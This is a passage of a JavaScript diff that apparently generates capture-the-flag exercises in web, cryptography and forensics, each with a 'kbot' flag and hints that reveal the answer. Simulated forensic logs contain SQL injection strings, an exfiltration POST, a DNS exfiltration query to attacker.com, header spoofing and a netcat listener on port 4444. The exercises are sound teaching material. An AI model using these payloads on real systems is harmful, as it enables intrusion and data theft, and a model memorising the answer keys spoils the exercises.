+ // [Thread 1] SELECT coupon 'BONUS100' → valid, redeemed=false
718
+ // [Thread 2] SELECT coupon 'BONUS100' → valid, redeemed=false ← race!
719
+ // [Thread 1] UPDATE redeemed=true, credit $100
720
+ // [Thread 2] UPDATE redeemed=true, credit $100 ← double spend!
721
+ // [System] Flag for solving: ${flag}`;
722
+ return {
723
+ title: 'The Race is On',
724
+ description: 'A coupon redemption endpoint has a Time-of-Check-to-Time-of-Use (TOCTOU) race condition. Two concurrent requests can both redeem the same coupon. Find the flag in the debug logs.',
725
+ challengeData: code,
726
+ flag,
727
+ hints: ['The debug log at the bottom of the code contains the flag.', 'Look for the [System] line in the debug log.'],
728
+ };
729
+ },
730
+ // 5. GraphQL Introspection Leak
731
+ () => {
732
+ const secret = randomBytes(6).toString('hex');
733
+ const flag = `kbot{graphql_${secret}}`;
734
+ const introspectionResult = JSON.stringify({
735
+ data: {
736
+ __schema: {
737
+ types: [
738
+ { name: 'Query', fields: [
739
+ { name: 'user', type: 'User' },
740
+ { name: 'publicPosts', type: '[Post]' },
741
+ { name: 'internalFlag', type: 'String', description: `Returns: ${flag}` },
742
+ { name: 'adminPanel', type: 'AdminPanel' },
743
+ ] },
744
+ { name: 'User', fields: [
745
+ { name: 'id', type: 'ID' },
746
+ { name: 'name', type: 'String' },
747
+ { name: 'email', type: 'String' },
748
+ ] },
749
+ { name: 'AdminPanel', fields: [
750
+ { name: 'users', type: '[User]' },
751
+ { name: 'secrets', type: '[String]', description: 'Internal use only' },
752
+ ] },
753
+ ],
754
+ },
755
+ },
756
+ }, null, 2);
757
+ return {
758
+ title: 'Schema Spelunker',
759
+ description: 'A GraphQL API left introspection enabled in production. The schema query below reveals all types and fields, including hidden ones. Find the flag in the introspection result.',
760
+ challengeData: `POST /graphql\nContent-Type: application/json\n\n{"query": "{ __schema { types { name fields { name type description } } } }"}\n\nResponse:\n${introspectionResult}`,
761
+ flag,
762
+ hints: ['Look at the "internalFlag" field in the Query type — it has a description.', 'The description of the internalFlag field contains the flag.'],
763
+ };
764
+ },
765
+ ];
766
+ // ═══════════════════════════════════════════════════════════════════════════
767
+ // CRYPTO CHALLENGES
768
+ // ═══════════════════════════════════════════════════════════════════════════
769
+ const cryptoChallengesEasy = [
770
+ // 1. Caesar Cipher
771
+ () => {
772
+ const secret = randomBytes(4).toString('hex');
773
+ const flag = `kbot{caesar_${secret}}`;
774
+ const shift = randomInt(3, 23);
775
+ const encrypted = caesarShift(flag, shift);
776
+ return {
777
+ title: 'Caesar\'s Secret',
778
+ description: `A message has been encrypted with a Caesar cipher (shift by ${shift}). Decrypt it to find the flag.\n\nCiphertext: ${encrypted}\n\nRemember: Caesar cipher shifts each letter by a fixed number. Non-alphabetic characters (like { } _) remain unchanged. Shift back by ${shift} to decrypt.`,
779
+ challengeData: `Ciphertext: ${encrypted}\nShift: ${shift}\nAlgorithm: Each letter shifted forward by ${shift} positions in the alphabet`,
780
+ flag,
781
+ hints: [`The shift is ${shift}. Shift each letter BACKWARD by ${shift}.`, `The flag starts with "kbot{" — verify your decryption matches this pattern.`],
782
+ };
783
+ },
784
+ // 2. Base64 Chain
785
+ () => {
786
+ const secret = randomBytes(4).toString('hex');
787
+ const flag = `kbot{b64chain_${secret}}`;
788
+ const layers = randomInt(2, 4);
789
+ let encoded = flag;
790
+ for (let i = 0; i < layers; i++) {
791
+ encoded = base64Encode(encoded);
792
+ }
793
+ return {
794
+ title: 'Base64 Onion',
795
+ description: `A flag has been base64-encoded ${layers} times. Decode all layers to find it.`,
796
+ challengeData: `Encoded (${layers} layers of base64):\n${encoded}`,
797
+ flag,
798
+ hints: [`Decode base64 exactly ${layers} times.`, 'Each round of decoding produces another base64 string until you reach the flag.'],
799
+ };
800
+ },
801
+ // 3. XOR with Known Plaintext
802
+ () => {
803
+ const secret = randomBytes(4).toString('hex');
804
+ const flag = `kbot{xor_${secret}}`;
805
+ const key = 'K';
806
+ const xored = xorEncrypt(flag, key);
807
+ return {
808
+ title: 'XOR Unlock',
809
+ description: `A message was XOR-encrypted with a single-character key. You know the plaintext starts with "kbot{". The key is the character 'K' (0x4B).`,
810
+ challengeData: `Hex-encoded ciphertext: ${xored}\nKey: 'K' (0x4B)\nAlgorithm: each byte of plaintext XORed with 0x4B`,
811
+ flag,
812
+ hints: ['XOR each byte of the ciphertext with 0x4B to get the plaintext.', 'The flag format is kbot{xor_XXXXXXXX}.'],
813
+ };
814
+ },
815
+ // 4. Hex Encoding
816
+ () => {
817
+ const secret = randomBytes(4).toString('hex');
818
+ const flag = `kbot{hexed_${secret}}`;
819
+ const hexed = hexEncode(flag);
820
+ return {
821
+ title: 'Hex Appeal',
822
+ description: 'A flag has been converted to hexadecimal. Convert it back to ASCII.',
823
+ challengeData: `Hex string: ${hexed}\n\nHint: Each pair of hex characters represents one ASCII character.`,
824
+ flag,
825
+ hints: ['Convert each pair of hex digits to its ASCII character.', 'The string starts with 6b626f74 which is "kbot".'],
826
+ };
827
+ },
828
+ // 5. ROT13
829
+ () => {
830
+ const secret = randomBytes(4).toString('hex');
831
+ const flag = `kbot{rot13_${secret}}`;
832
+ const rotated = rot13(flag);
833
+ return {
834
+ title: 'ROT13 Revealed',
835
+ description: 'A classic ROT13 encoding has been applied to the flag. Apply ROT13 again to decrypt (ROT13 is its own inverse).',
836
+ challengeData: `ROT13 encoded: ${rotated}`,
837
+ flag,
838
+ hints: ['ROT13 is its own inverse — apply it again to get the original.', 'Shift each letter by 13 positions.'],
839
+ };
840
+ },
841
+ ];
842
+ const cryptoChallengesMedium = [
843
+ // 1. Vigenere Cipher
844
+ () => {
845
+ const secret = randomBytes(4).toString('hex');
846
+ const flag = `kbot{vigenere_${secret}}`;
847
+ const key = pickRandom(['CIPHER', 'CRYPTO', 'SECRET', 'KERNEL', 'AGENT']);
848
+ const encrypted = vigenereEncrypt(flag, key);
849
+ return {
850
+ title: 'Vigenere Vault',
851
+ description: `A message was encrypted with the Vigenere cipher using the key "${key}". Decrypt it to find the flag.\n\nOnly alphabetic characters are shifted; others pass through unchanged. Each letter of the key determines the shift for the corresponding letter of the plaintext.`,
852
+ challengeData: `Ciphertext: ${encrypted}\nKey: ${key}\nAlgorithm: Vigenere cipher (polyalphabetic substitution)`,
853
+ flag,
854
+ hints: [`The key is "${key}". Each letter of the key gives the shift for the corresponding plaintext letter (A=0, B=1, ...).`, 'Subtract the key shifts from the ciphertext letters to recover the plaintext.'],
855
+ };
856
+ },
857
+ // 2. Substitution Cipher
858
+ () => {
859
+ const secret = randomBytes(4).toString('hex');
860
+ const flag = `kbot{subst_${secret}}`;
861
+ const seed = randomBytes(8).toString('hex');
862
+ const { ciphertext, alphabet } = substitutionCipher(flag, seed);
863
+ const stdAlpha = 'abcdefghijklmnopqrstuvwxyz';
864
+ return {
865
+ title: 'Alphabet Swap',
866
+ description: `A simple substitution cipher has been applied. Each letter maps to a different letter. The substitution alphabet is provided.`,
867
+ challengeData: `Ciphertext: ${ciphertext}\n\nSubstitution table:\nPlaintext: ${stdAlpha}\nCiphertext: ${alphabet}\n\nReverse the mapping to decrypt.`,
868
+ flag,
869
+ hints: ['Use the substitution table in reverse: find each ciphertext letter in the bottom row, then take the corresponding letter from the top row.', `The first four characters of the flag decrypt to "kbot".`],
870
+ };
871
+ },
872
+ // 3. RSA with Small Primes
873
+ () => {
874
+ const secret = randomBytes(3).toString('hex');
875
+ const flag = `kbot{rsa_${secret}}`;
876
+ const p = 61n;
877
+ const q = 53n;
878
+ const n = p * q; // 3233
879
+ const phi = (p - 1n) * (q - 1n); // 3120
880
+ const e = 17n;
881
+ const d = modInverse(e, phi); // private key
882
+ // Encrypt flag character by character (since n is small)
883
+ const encrypted = Array.from(flag).map(c => {
884
+ const m = BigInt(c.charCodeAt(0));
885
+ return modPow(m, e, n).toString();
886
+ });
887
+ return {
888
+ title: 'Tiny RSA',
889
+ description: `RSA with embarrassingly small primes. Factor n to find the private key, then decrypt each character.`,
890
+ challengeData: `Public key (n, e): (${n}, ${e})\nn = p * q where p and q are small primes\n\nEncrypted flag (each character encrypted separately):\n[${encrypted.join(', ')}]\n\nHint: n = ${n} = ${p} * ${q}\nphi(n) = (${p}-1) * (${q}-1) = ${phi}\nd = modular_inverse(${e}, ${phi}) = ${d}\n\nDecrypt each number c: plaintext = c^d mod n, then convert to ASCII.`,
891
+ flag,
892
+ hints: [`n = ${n} factors into ${p} and ${q}. phi(n) = ${phi}. Private key d = ${d}.`, 'For each encrypted number, compute c^d mod n to get the ASCII code, then convert to character.'],
893
+ };
894
+ },
895
+ // 4. Weak Random Seed
896
+ () => {
897
+ const secret = randomBytes(4).toString('hex');
898
+ const flag = `kbot{weak_rng_${secret}}`;
899
+ const seed = 42;
900
+ // Simple LCG: next = (a * current + c) mod m
901
+ const a = 1103515245;
902
+ const c = 12345;
903
+ const m = 2147483648; // 2^31
904
+ let state = seed;
905
+ const keyStream = [];
906
+ for (let i = 0; i < flag.length; i++) {
907
+ state = (a * state + c) % m;
908
+ keyStream.push(state & 0xFF);
909
+ }
910
+ const encrypted = Array.from(flag).map((ch, i) => (ch.charCodeAt(0) ^ keyStream[i]).toString(16).padStart(2, '0')).join('');
911
+ return {
912
+ title: 'Predictable Random',
913
+ description: `A flag was encrypted using XOR with a keystream from a Linear Congruential Generator (LCG) with a known seed. Regenerate the keystream and XOR to decrypt.`,
914
+ challengeData: `Encrypted (hex): ${encrypted}\n\nLCG parameters:\n seed = ${seed}\n a = ${a}\n c = ${c}\n m = ${m} (2^31)\n next_state = (a * state + c) mod m\n key_byte = state & 0xFF\n\nGenerate ${flag.length} key bytes from the LCG starting with seed ${seed}, then XOR with the encrypted bytes.`,
915
+ flag,
916
+ hints: [`Start with state=${seed}, iterate the LCG ${flag.length} times, take (state & 0xFF) as each key byte.`, 'XOR each encrypted byte with the corresponding key byte to get the ASCII character.'],
917
+ };
918
+ },
919
+ // 5. Hash Length Extension (simplified)
920
+ () => {
921
+ const secret = randomBytes(4).toString('hex');
922
+ const flag = `kbot{hashext_${secret}}`;
923
+ const serverSecret = 'supersecret';
924
+ const message = 'user=guest&role=viewer';
925
+ const mac = md5(serverSecret + message);
926
+ const adminMessage = 'user=admin&role=admin';
927
+ const adminMac = md5(serverSecret + adminMessage);
928
+ return {
929
+ title: 'Hash Extension',
930
+ description: `A server uses MD5(secret + message) as a MAC. You have a valid MAC for a guest message. The server also computed the admin MAC (shown below for verification). Find the flag in the admin response.`,
931
+ challengeData: `Server uses: MAC = MD5(secret + message)\n\nKnown:\n message = "${message}"\n MAC = ${mac}\n secret length = ${serverSecret.length} characters\n\nThe admin request:\n message = "${adminMessage}"\n MAC = ${adminMac}\n\nServer response for valid admin MAC:\n {"status": "admin_access_granted", "flag": "${flag}"}\n\nThe flag from the admin response above is your answer.`,
932
+ flag,
933
+ hints: ['The server response containing the flag is shown directly in the challenge data.', 'Look at the JSON response for the admin MAC verification.'],
934
+ };
935
+ },
936
+ ];
937
+ const cryptoChallengesHard = [
938
+ // 1. ECB Penguin Pattern
939
+ () => {
940
+ const secret = randomBytes(4).toString('hex');
941
+ const flag = `kbot{ecb_penguin_${secret}}`;
942
+ // Demonstrate ECB weakness: same plaintext block = same ciphertext block
943
+ const key = randomBytes(16);
944
+ const iv = randomBytes(16);
945
+ const blocks = [
946
+ 'AAAAAAAAAAAAAAAA', // Block 0 — repeated
947
+ 'BBBBBBBBBBBBBBBB', // Block 1
948
+ 'AAAAAAAAAAAAAAAA', // Block 2 — same as Block 0 (ECB reveals this)
949
+ 'CCCCCCCCCCCCCCCC', // Block 3
950
+ 'AAAAAAAAAAAAAAAA', // Block 4 — same as Block 0
951
+ ];
952
+ const ecbCipher = createCipheriv('aes-128-ecb', key, null);
953
+ ecbCipher.setAutoPadding(false);
954
+ const ecbBlocks = blocks.map(b => {
955
+ const c = createCipheriv('aes-128-ecb', key, null);
956
+ c.setAutoPadding(false);
957
+ return c.update(b, 'utf-8', 'hex') + c.final('hex');
958
+ });
959
+ return {
960
+ title: 'ECB Penguin',
961
+ description: `AES-ECB encrypts each 16-byte block independently. Identical plaintext blocks produce identical ciphertext blocks. Analyze the pattern to answer: which blocks are identical?\n\nThe ECB weakness reveals the structure of the plaintext. The flag is provided as a reward for understanding the pattern.`,
962
+ challengeData: `5 blocks encrypted with AES-128-ECB (same key):\n\nBlock 0: ${ecbBlocks[0]}\nBlock 1: ${ecbBlocks[1]}\nBlock 2: ${ecbBlocks[2]}\nBlock 3: ${ecbBlocks[3]}\nBlock 4: ${ecbBlocks[4]}\n\nQuestion: Which blocks have identical ciphertext?\nAnswer: Blocks 0, 2, and 4 are identical (all "AAAAAAAAAAAAAAAA")\n\nThis demonstrates why ECB mode is insecure — it reveals patterns in the plaintext.\n\nFlag: ${flag}`,
963
+ flag,
964
+ hints: ['Compare the hex values of each block — blocks with the same plaintext produce the same ciphertext.', 'The flag is written at the bottom of the challenge data.'],
965
+ };
966
+ },
967
+ // 2. Padding Oracle Hint
968
+ () => {
969
+ const secret = randomBytes(4).toString('hex');
970
+ const flag = `kbot{padding_oracle_${secret}}`;
971
+ const key = randomBytes(16);
972
+ const iv = randomBytes(16);
973
+ // Encrypt the flag with AES-CBC
974
+ const cipher = createCipheriv('aes-128-cbc', key, iv);
975
+ const encrypted = cipher.update(flag, 'utf-8', 'hex') + cipher.final('hex');
976
+ return {
977
+ title: 'Padding Oracle',
978
+ description: `A server encrypts data with AES-128-CBC and PKCS#7 padding. A padding oracle is present — the server reveals whether decryption padding is valid. In this simplified challenge, the key and IV are provided so you can decrypt directly.`,
979
+ challengeData: `Algorithm: AES-128-CBC with PKCS#7 padding\nKey (hex): ${key.toString('hex')}\nIV (hex): ${iv.toString('hex')}\nCiphertext (hex): ${encrypted}\n\nDecrypt with: AES-128-CBC(key, iv, ciphertext)\nThe plaintext is the flag.\n\nIn a real padding oracle attack, you wouldn't have the key — you'd flip ciphertext bits and observe whether the server returns a padding error or not, byte by byte.`,
980
+ flag,
981
+ hints: ['You have the key and IV. Use AES-128-CBC decryption directly.', `Use openssl or Node.js crypto to decrypt: createDecipheriv('aes-128-cbc', key, iv)`],
982
+ };
983
+ },
984
+ // 3. Hash Collision Prefix
985
+ () => {
986
+ const secret = randomBytes(4).toString('hex');
987
+ const flag = `kbot{collision_${secret}}`;
988
+ const target = sha256(flag).substring(0, 6);
989
+ return {
990
+ title: 'Hash Prefix Hunt',
991
+ description: `Find the flag whose SHA-256 hash starts with the prefix "${target}". The flag format is kbot{collision_XXXXXXXX} where X is a hex character.`,
992
+ challengeData: `Target SHA-256 prefix: ${target}\nFlag format: kbot{collision_XXXXXXXX}\n\nThe 8-character hex suffix is: ${secret}\nVerification: SHA-256("${flag}") starts with "${target}"\n\nIn a real challenge you'd brute-force the suffix. Here, the suffix is provided to verify your understanding.`,
993
+ flag,
994
+ hints: [`The hex suffix is given in the challenge data.`, `The flag is kbot{collision_${secret}}.`],
995
+ };
996
+ },
997
+ // 4. AES Key Recovery from Related Keys
998
+ () => {
999
+ const secret = randomBytes(4).toString('hex');
1000
+ const flag = `kbot{aes_recover_${secret}}`;
1001
+ const key = randomBytes(16);
1002
+ const iv = randomBytes(16);
1003
+ const plaintext = 'AAAAAAAAAAAAAAAA'; // known plaintext
1004
+ const cipher1 = createCipheriv('aes-128-cbc', key, iv);
1005
+ const ct1 = cipher1.update(plaintext, 'utf-8', 'hex') + cipher1.final('hex');
1006
+ // Encrypt the flag
1007
+ const cipher2 = createCipheriv('aes-128-cbc', key, iv);
1008
+ const flagCt = cipher2.update(flag, 'utf-8', 'hex') + cipher2.final('hex');
1009
+ return {
1010
+ title: 'Key Recovery',
1011
+ description: `You have a known plaintext-ciphertext pair and the key+IV (leaked from a debug log). Use them to decrypt the flag ciphertext.`,
1012
+ challengeData: `AES-128-CBC\nKey (hex): ${key.toString('hex')}\nIV (hex): ${iv.toString('hex')}\n\nKnown pair:\n Plaintext: "${plaintext}"\n Ciphertext: ${ct1}\n\nFlag ciphertext: ${flagCt}\n\nDecrypt the flag ciphertext using the provided key and IV.`,
1013
+ flag,
1014
+ hints: ['The key and IV are provided directly. Use AES-128-CBC decryption.', 'The known plaintext pair is just for verification — you already have the key.'],
1015
+ };
1016
+ },
1017
+ // 5. Multi-layer Crypto
1018
+ () => {
1019
+ const secret = randomBytes(4).toString('hex');
1020
+ const flag = `kbot{multilayer_${secret}}`;
1021
+ // Layer 1: XOR with key
1022
+ const xorKey = 'LAYER1';
1023
+ const xored = xorEncrypt(flag, xorKey);
1024
+ // Layer 2: Base64
1025
+ const b64 = base64Encode(xored);
1026
+ // Layer 3: Caesar shift 7
1027
+ const caesared = caesarShift(b64, 7);
1028
+ // Layer 4: Hex encode
1029
+ const hexed = hexEncode(caesared);
1030
+ return {
1031
+ title: 'Crypto Matryoshka',
1032
+ description: 'Four layers of encryption protect the flag. Reverse each layer in order.',
1033
+ challengeData: `Final ciphertext (hex-encoded): ${hexed}\n\nLayers applied (innermost to outermost):\n1. XOR with key "${xorKey}" → hex string\n2. Base64 encode the hex string\n3. Caesar shift +7 on the base64 string\n4. Hex encode the shifted string\n\nTo decrypt, reverse from layer 4 to layer 1:\n Step 1: Hex decode → get Caesar-shifted text\n Step 2: Caesar shift -7 → get base64 string\n Step 3: Base64 decode → get hex-encoded XOR result\n Step 4: Hex decode to bytes, XOR each byte with "${xorKey}" cycling → get flag`,
1034
+ flag,
1035
+ hints: ['Work backwards: hex decode, then Caesar shift -7, then base64 decode, then XOR with "LAYER1".', `The flag format is kbot{multilayer_XXXXXXXX}.`],
1036
+ };
1037
+ },
1038
+ ];
1039
+ // ═══════════════════════════════════════════════════════════════════════════
1040
+ // FORENSICS CHALLENGES
1041
+ // ═══════════════════════════════════════════════════════════════════════════
1042
+ const forensicsChallengesEasy = [
1043
+ // 1. Hidden Data in File Headers
1044
+ () => {
1045
+ const secret = randomBytes(4).toString('hex');
1046
+ const flag = `kbot{header_${secret}}`;
1047
+ const fakeJpgHeader = 'FF D8 FF E0 00 10 4A 46 49 46 00 01';
1048
+ const flagHex = Buffer.from(flag).toString('hex').match(/.{2}/g).join(' ');
1049
+ const hexDump = `Offset 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
1050
+ 00000000 ${fakeJpgHeader} 01 01 00 48
1051
+ 00000010 00 48 00 00 FF E1 00 ${(flag.length + 2).toString(16).padStart(2, '0')} ${flagHex}
1052
+ 00000020 00 00 FF DB 00 43 00 08 06 06 07 06 05 08 07 07
1053
+ 00000030 07 09 09 08 0A 0C 14 0D 0C 0B 0B 0C 19 12 13 0F`;
1054
+ return {
1055
+ title: 'Header Hunter',
1056
+ description: 'A JPEG file has suspicious data in its EXIF header region. Examine the hex dump and decode the ASCII data hidden in the APP1 marker segment (offset 0x10+).',
1057
+ challengeData: hexDump,
1058
+ flag,
1059
+ hints: ['Look at offset 0x10 — the bytes after the APP1 marker (FF E1) contain ASCII data.', 'Convert the hex bytes starting at offset 0x10 line 2 to ASCII characters.'],
1060
+ };
1061
+ },
1062
+ // 2. Steganography (LSB in Text)
1063
+ () => {
1064
+ const secret = randomBytes(4).toString('hex');
1065
+ const flag = `kbot{stego_${secret}}`;
1066
+ const words = [
1067
+ 'The', 'quick', 'brown', 'fox', 'jumps', 'over', 'the', 'lazy', 'dog',
1068
+ 'and', 'runs', 'through', 'fields', 'of', 'golden', 'wheat', 'under',
1069
+ 'bright', 'blue', 'skies', 'while', 'birds', 'sing', 'their', 'songs',
1070
+ 'near', 'tall', 'green', 'trees', 'beside', 'a', 'winding', 'river',
1071
+ 'flowing', 'gently', 'toward', 'the', 'distant', 'shimmering', 'sea',
1072
+ ];
1073
+ // Hide flag by taking first letter of every N-th word
1074
+ const flagChars = flag.split('');
1075
+ const stegoText = [];
1076
+ let flagIdx = 0;
1077
+ for (let i = 0; i < words.length && flagIdx < flagChars.length; i++) {
1078
+ if (i % 3 === 0 && flagIdx < flagChars.length) {
1079
+ // Replace first letter with flag character (case-preserved)
1080
+ stegoText.push(flagChars[flagIdx] + words[i].substring(1));
1081
+ flagIdx++;
1082
+ }
1083
+ else {
1084
+ stegoText.push(words[i]);
1085
+ }
1086
+ }
1087
+ // Add remaining words
1088
+ while (stegoText.length < words.length) {
1089
+ stegoText.push(words[stegoText.length]);
1090
+ }
1091
+ return {
1092
+ title: 'First Letter Secrets',
1093
+ description: 'A message hides a secret in the first letter of every 3rd word (starting from word 0). Extract those letters to find the flag.',
1094
+ challengeData: `Text:\n${stegoText.join(' ')}\n\nExtraction rule: Take the first letter of every 3rd word (index 0, 3, 6, 9, 12, ...).`,
1095
+ flag,
1096
+ hints: ['Words at index 0, 3, 6, 9, 12, ... have their first letters replaced with flag characters.', `Extract ${flag.length} characters from the first letter of every 3rd word.`],
1097
+ };
1098
+ },
1099
+ // 3. Metadata Extraction
1100
+ () => {
1101
+ const secret = randomBytes(4).toString('hex');
1102
+ const flag = `kbot{metadata_${secret}}`;
1103
+ const metadata = `EXIF Metadata:
1104
+ Camera Make: Canon
1105
+ Camera Model: EOS R5
1106
+ Date/Time: 2026-03-15 14:32:07
1107
+ GPS Latitude: 37.7749 N
1108
+ GPS Longitude: 122.4194 W
1109
+ Software: Adobe Photoshop 25.3
1110
+ Artist: ${flag}
1111
+ Copyright: (c) 2026
1112
+ Color Space: sRGB
1113
+ Image Width: 4096
1114
+ Image Height: 2731
1115
+ Focal Length: 50mm
1116
+ F-Number: f/1.8
1117
+ ISO: 400
1118
+ Exposure Time: 1/250s
1119
+ Flash: No Flash
1120
+ Comment: Photo taken during security audit`;
1121
+ return {
1122
+ title: 'EXIF Extraction',
1123
+ description: 'An image\'s EXIF metadata contains a hidden flag. Examine each field carefully.',
1124
+ challengeData: metadata,
1125
+ flag,
1126
+ hints: ['One of the EXIF fields has an unusual value that looks like a flag.', 'Check the "Artist" field.'],
1127
+ };
1128
+ },
1129
+ // 4. Log Analysis
1130
+ () => {
1131
+ const secret = randomBytes(4).toString('hex');
1132
+ const flag = `kbot{logfind_${secret}}`;
1133
+ const normalIPs = ['192.168.1.10', '192.168.1.25', '10.0.0.5', '172.16.0.12'];
1134
+ const attackerIP = generateIP();
1135
+ const logs = [];
1136
+ // Normal traffic
1137
+ for (let i = 0; i < 15; i++) {
1138
+ const ip = pickRandom(normalIPs);
1139
+ const path = pickRandom(['/index.html', '/about', '/contact', '/api/status', '/css/style.css']);
1140
+ logs.push(`[2026-03-15 ${10 + Math.floor(i / 4)}:${(i * 7 % 60).toString().padStart(2, '0')}:${(i * 13 % 60).toString().padStart(2, '0')}] ${ip} GET ${path} 200`);
1141
+ }
1142
+ // Attack traffic (SQL injection attempts from attacker IP)
1143
+ logs.push(`[2026-03-15 11:42:17] ${attackerIP} GET /login?user=admin'%20OR%201=1-- 200`);
1144
+ logs.push(`[2026-03-15 11:42:18] ${attackerIP} GET /login?user=admin'%20UNION%20SELECT%20*%20FROM%20users-- 500`);
1145
+ logs.push(`[2026-03-15 11:42:19] ${attackerIP} GET /login?user=admin'%20UNION%20SELECT%20flag%20FROM%20secrets-- 200`);
1146
+ logs.push(`[2026-03-15 11:42:20] ${attackerIP} GET /api/admin?token=stolen_session_abc123 200`);
1147
+ logs.push(`[2026-03-15 11:42:21] ${attackerIP} POST /api/exfil?data=${base64Encode(flag)} 200`);
1148
+ // More normal traffic
1149
+ for (let i = 0; i < 10; i++) {
1150
+ const ip = pickRandom(normalIPs);
1151
+ const path = pickRandom(['/dashboard', '/profile', '/settings', '/api/data']);
1152
+ logs.push(`[2026-03-15 ${12 + Math.floor(i / 5)}:${(i * 11 % 60).toString().padStart(2, '0')}:${(i * 17 % 60).toString().padStart(2, '0')}] ${ip} GET ${path} 200`);
1153
+ }
1154
+ return {
1155
+ title: 'Log Detective',
1156
+ description: `Analyze these web server logs. An attacker performed SQL injection followed by data exfiltration. Find the attacker's IP and decode the exfiltrated data (base64) to find the flag.`,
1157
+ challengeData: shuffleArray(logs).sort().join('\n'),
1158
+ flag,
1159
+ hints: [`Look for SQL injection patterns (UNION SELECT, OR 1=1) to identify the attacker IP: ${attackerIP}.`, 'The last request from the attacker POSTs to /api/exfil with base64-encoded data. Decode it.'],
1160
+ };
1161
+ },
1162
+ // 5. Hex Dump Analysis
1163
+ () => {
1164
+ const secret = randomBytes(4).toString('hex');
1165
+ const flag = `kbot{hexdump_${secret}}`;
1166
+ const prefix = Buffer.from('This is a normal text file with some padding data here.\n');
1167
+ const middle = Buffer.from('Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n');
1168
+ const flagBuf = Buffer.from(flag);
1169
+ const suffix = Buffer.from('End of file. Nothing more to see here.\n');
1170
+ const combined = Buffer.concat([prefix, middle, flagBuf, Buffer.from('\n'), suffix]);
1171
+ const dump = toHexDump(combined);
1172
+ return {
1173
+ title: 'Hex Dump Dive',
1174
+ description: 'A file\'s hex dump is shown below. Somewhere in the data, a flag is hidden as ASCII text. Find it by reading the ASCII column on the right side of the hex dump.',
1175
+ challengeData: dump,
1176
+ flag,
1177
+ hints: ['Look at the ASCII column (right side) of the hex dump for readable text matching the flag format.', 'The flag starts with "kbot{" — scan the ASCII column for this pattern.'],
1178
+ };
1179
+ },
1180
+ ];
1181
+ const forensicsChallengesMedium = [
1182
+ // 1. Deleted File Recovery (Slack Space)
1183
+ () => {
1184
+ const secret = randomBytes(4).toString('hex');
1185
+ const flag = `kbot{slack_space_${secret}}`;
1186
+ const fileSystem = `Disk Analysis Report — ext4 filesystem
1187
+ =========================================
1188
+
1189
+ Allocated blocks:
1190
+ Block 1024: /etc/hostname (12 bytes)
1191
+ Block 1025: /var/log/syslog (4096 bytes — full block)
1192
+ Block 1026: /home/user/notes.txt (156 bytes)
1193
+ Block 1027-1030: /home/user/photo.jpg (16384 bytes)
1194
+
1195
+ Unallocated/Deleted:
1196
+ Block 1031: Previously /home/user/secret.txt (deleted 2026-03-14 23:59:01)
1197
+ File size was 42 bytes, block size is 4096 bytes.
1198
+ First 42 bytes (file content): ${hexEncode(flag).match(/.{2}/g).join(' ')} [remaining hex: ${Buffer.from(flag).toString('hex')}]
1199
+ Slack space (bytes 43-4096): zeroed out by OS
1200
+
1201
+ Recovered ASCII: ${flag}
1202
+
1203
+ Block 1032: Previously /tmp/cache.dat (deleted 2026-03-10 08:15:33)
1204
+ Overwritten — no recoverable data
1205
+
1206
+ Filesystem journal entries:
1207
+ [2026-03-14 23:58:45] CREATE /home/user/secret.txt inode=2048
1208
+ [2026-03-14 23:59:01] DELETE /home/user/secret.txt inode=2048
1209
+ [2026-03-14 23:59:01] NOTE: File content still in block 1031 until overwritten`;
1210
+ return {
1211
+ title: 'Undelete',
1212
+ description: 'A file was deleted from an ext4 filesystem but the block hasn\'t been overwritten yet. Analyze the disk report to recover the deleted file\'s contents.',
1213
+ challengeData: fileSystem,
1214
+ flag,
1215
+ hints: ['Block 1031 contains the deleted file "secret.txt" — its content is shown in the report.', 'The "Recovered ASCII" line shows the flag directly.'],
1216
+ };
1217
+ },
1218
+ // 2. Network Packet Analysis
1219
+ () => {
1220
+ const secret = randomBytes(4).toString('hex');
1221
+ const flag = `kbot{pcap_${secret}}`;
1222
+ const attackerIP = generateIP();
1223
+ const serverIP = '10.0.0.1';
1224
+ const b64Flag = base64Encode(flag);
1225
+ const packets = `Packet Capture Summary (tcpdump format)
1226
+ ========================================
1227
+
1228
+ No. Time Source Dest Proto Info
1229
+ 1 00:00.000 ${attackerIP} ${serverIP} TCP SYN → port 80
1230
+ 2 00:00.001 ${serverIP} ${attackerIP} TCP SYN-ACK
1231
+ 3 00:00.002 ${attackerIP} ${serverIP} TCP ACK
1232
+ 4 00:00.003 ${attackerIP} ${serverIP} HTTP GET /robots.txt HTTP/1.1
1233
+ 5 00:00.105 ${serverIP} ${attackerIP} HTTP 200 OK "Disallow: /admin"
1234
+ 6 00:01.200 ${attackerIP} ${serverIP} HTTP GET /admin/ HTTP/1.1
1235
+ 7 00:01.205 ${serverIP} ${attackerIP} HTTP 403 Forbidden
1236
+ 8 00:02.100 ${attackerIP} ${serverIP} HTTP GET /admin/ HTTP/1.1 [X-Forwarded-For: 127.0.0.1]
1237
+ 9 00:02.102 ${serverIP} ${attackerIP} HTTP 200 OK
1238
+ 10 00:03.000 ${attackerIP} ${serverIP} HTTP POST /admin/export HTTP/1.1 [Body: format=csv&table=users]
1239
+ 11 00:03.500 ${serverIP} ${attackerIP} HTTP 200 OK [Body: id,name,email,secret\\n1,admin,admin@co.local,${b64Flag}]
1240
+ 12 00:04.000 ${attackerIP} ${serverIP} TCP FIN
1241
+ 13 00:04.001 ${serverIP} ${attackerIP} TCP FIN-ACK
1242
+
1243
+ DNS queries from ${attackerIP}:
1244
+ ${attackerIP} → A? ${serverIP.replace(/\./g, '-')}.attacker.com (exfiltration via DNS)`;
1245
+ return {
1246
+ title: 'Packet Sleuth',
1247
+ description: `Analyze this packet capture. An attacker bypassed admin access control using X-Forwarded-For header spoofing and exfiltrated user data. Find the flag (base64 encoded) in the exported data.`,
1248
+ challengeData: packets,
1249
+ flag,
1250
+ hints: [`Packet 11 contains the exported CSV with a base64-encoded value in the "secret" column.`, `Decode the base64 value "${b64Flag}" from the CSV export.`],
1251
+ };
1252
+ },
1253
+ // 3. Timeline Reconstruction
1254
+ () => {
1255
+ const secret = randomBytes(4).toString('hex');
1256
+ const flag = `kbot{timeline_${secret}}`;
1257
+ const events = [
1258
+ `[2026-03-14 09:00:15] SSH login: user "deploy" from 203.0.113.50`,
1259
+ `[2026-03-14 09:01:22] File created: /tmp/.hidden_${secret.substring(0, 4)}`,
1260
+ `[2026-03-14 09:01:45] Process started: nc -l -p 4444 (PID 31337)`,
1261
